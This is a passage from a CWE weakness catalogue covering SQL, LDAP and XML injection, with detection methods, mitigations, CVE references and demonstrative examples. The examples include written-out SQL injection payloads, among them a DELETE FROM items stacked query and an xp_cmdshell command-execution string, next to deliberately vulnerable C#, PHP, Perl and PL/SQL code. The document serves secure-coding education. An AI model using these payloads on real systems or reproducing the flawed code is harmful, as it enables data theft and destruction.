This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Database Scanners Cost effective for partial coverage: Web Application Scanner Web Services Scanner

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to

SQL injection. For MySQL, the `mysql_real_escape_string()` API function is available in both C and PHP.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded. When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

Example 2:

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

Example Language: C#

(Bad)

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

Example Language:

(Informative)

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if `itemName` does not contain a single-quote character. If an attacker with the user name `wiley` enters the string:

Example Language:

(Attack)

```
name' OR 'a'='a
```

for `itemName`, then the query becomes the following:

*Example Language:**(Attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

*Example Language:**(Attack)*

```
OR 'a'='a'
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

*Example Language:**(Attack)*

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3:

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

*Example Language:**(Attack)*

```
name'; DELETE FROM items; --
```

for itemName, then the query becomes the following two queries:

*Example Language: SQL**(Attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'
```

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

*Example Language:**(Attack)*

```
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a'
```

Then the following three valid statements will be created:

*Example Language:**(Attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';
```

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted
- Find ways to bypass the need for certain escaped meta-characters
- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

*Example Language:**(Bad)*

```
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = ' || usr || ' AND itemname = ' || itm || ';
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4:

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

*Example Language:**(Bad)*

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where \$user_input is taken from an untrusted source.

If the user provides the string:

*Example Language:**(Attack)*

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

*Example Language:**(Attack)*

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY="; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
```

Now, this query can be broken down into:

1. a first SQL query: `SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=";`
2. a second SQL query, which executes the `dir` command in the shell: `exec master..xp_cmdshell 'dir'`
3. an MS SQL comment: `--' ORDER BY PRICE`

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5:

This code intends to print a message summary given the message ID.

*Example Language: PHP**(Bad)*

```
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

The programmer may have skipped any input validation on `$id` under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While `$id` is wrapped in single quotes in the call to `mysql_query()`, an attacker could simply change the incoming `mid` cookie to:

*Example Language:**(Attack)*

```
1432' or '1' = '1
```

This would produce the resulting query:

*Example Language:**(Result)*

```
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

*Example Language: PHP**(Good)*

```
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6:

This example attempts to take a last name provided by a user and enter it into a database.

*Example Language: Perl**(Bad)*

```
$userKey = getUserID();
$name = getUserInput();
```

```
# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";
```

While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

Observed Examples

Reference	Description
CVE-2023-32530	SQL injection in security product dashboard using crafted certificate fields https://www.cve.org/CVERecord?id=CVE-2023-32530
CVE-2021-42258	SQL injection in time and billing software, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-42258
CVE-2021-27101	SQL injection in file-transfer system via a crafted Host header, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-27101
CVE-2020-12271	SQL injection in firewall product's admin interface or user portal, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-12271
CVE-2019-3792	An automation system written in Go contains an API that is vulnerable to SQL injection allowing the attacker to read privileged data. https://www.cve.org/CVERecord?id=CVE-2019-3792
CVE-2004-0366	chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass. https://www.cve.org/CVERecord?id=CVE-2004-0366
CVE-2008-2790	SQL injection through an ID that was supposed to be numeric. https://www.cve.org/CVERecord?id=CVE-2008-2790
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric. https://www.cve.org/CVERecord?id=CVE-2008-2223
CVE-2007-6602	SQL injection via user name. https://www.cve.org/CVERecord?id=CVE-2007-6602
CVE-2008-5817	SQL injection via user name or password fields. https://www.cve.org/CVERecord?id=CVE-2008-5817
CVE-2003-0377	SQL injection in security product, using a crafted group name. https://www.cve.org/CVERecord?id=CVE-2003-0377
CVE-2008-2380	SQL injection in authentication library. https://www.cve.org/CVERecord?id=CVE-2008-2380
CVE-2017-11508	SQL injection in vulnerability management and reporting tool, using a crafted password. https://www.cve.org/CVERecord?id=CVE-2017-11508

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2552
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2330
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2337
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2352
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2354
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	2356
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2371
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2389
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1005	7PK - Input Validation and Representation	700	2421
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Relationship

SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			SQL injection
7 Pernicious Kingdoms			SQL Injection
CLASP			SQL injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	19		SQL Injection
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-89		
SEI CERT Oracle Coding Standard for Java	IDS00-J	Exact	Prevent SQL injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
7	Blind SQL Injection
66	SQL Injection
108	Command Line Execution through SQL Injection
109	Object Relational Mapping Injection
110	SQL Injection through SOAP Parameter Tampering
470	Expanding Control over the Operating System from the Database

References

- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-867]OWASP. "SQL Injection Prevention Cheat Sheet". < http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet >.
- [REF-868]Steven Friedl. "SQL Injection Attacks by Example". 2007 October 0. < <http://www.unixwiz.net/techtips/sql-injection.html> >.
- [REF-869]Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007 March 5. < <https://web.archive.org/web/20080126180244/http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/> >.2023-04-07.
- [REF-870]David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". 2005 July 4. Wiley.
- [REF-871]David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". 2007 January 0. Wiley.
- [REF-872]Microsoft. "SQL Injection". 2008 December. < [https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms161953\(v=sql.105\)?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms161953(v=sql.105)?redirectedfrom=MSDN) >.2023-04-07.
- [REF-873]Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". < <https://msrc.microsoft.com/blog/2008/05/sql-injection-attack/> >.2023-04-07.
- [REF-874]Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008 May 5. < https://learn.microsoft.com/en-us/archive/blogs/michael_howard/giving-sql-injection-the-respect-it-deserves >.2023-04-07.
- [REF-875]Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". 2010 March 1. SANS Software Security Institute. < <https://www.sans.org/blog/top-25-series-rank-2-sql-injection/> >.2023-04-07.
- [REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.2023-04-07.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID : 90

Structure : Simple
Abstraction : Base

Description

The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1850

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2311

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Database Server (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Read Application Data	
Availability	Modify Application Data	
<i>An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.</i>		

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Demonstrative Examples

Example 1:

The code below constructs an LDAP query using user input address data:

Example Language: Java

(Bad)

```
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtrls);
```











Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

Observed Examples

Reference	Description
CVE-2021-41232	Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90) https://www.cve.org/CVERecord?id=CVE-2021-41232
CVE-2005-2301	Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack. https://www.cve.org/CVERecord?id=CVE-2005-2301

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2330
MemberOf		810	OWASP Top Ten 2010 Category A1 - Injection	809	2356
MemberOf		884	CWE Cross-section	884	2567
MemberOf		929	OWASP Top Ten 2013 Category A1 - Injection	928	2389
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf		1308	CISQ Quality Measures - Security	1305	2485
MemberOf		1340	CISQ Data Protection Measures	1340	2590
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Notes

Relationship

Factors: resultant to special character mismanagement, MAID, or denylist/allowlist problems.
Can be primary to authentication and verification errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			LDAP injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	29		LDAP Injection
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
136	LDAP Injection

References

[REF-879]SPI Dynamics. "Web Applications and LDAP Injection".

CWE-91: XML Injection (aka Blind XPath Injection)

Weakness ID : 91
Structure : Simple
Abstraction : Base

Description

The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.




Extended Description

Within XML, special elements could include reserved words or characters such as "<", ">", "'", and "&", which could then be used to add new data or modify XML syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
ParentOf		643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1419
ParentOf		652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1435

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2311

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Read Application Data	
Availability	Modify Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2330
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2337
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	2356
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2389
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590

Nature	Type	ID	Name	V	Page
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Notes

Maintenance

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

Theoretical

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Research Gap

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XML injection (aka Blind Xpath injection)
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	23		XML Injection
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
83	XPath Injection
250	XML Injection

References

[REF-882]Amit Klein. "Blind XPath Injection". 2004 May 9. < https://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

Weakness ID : 93

Structure : Simple

Abstraction : Base




Description

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

Relationships

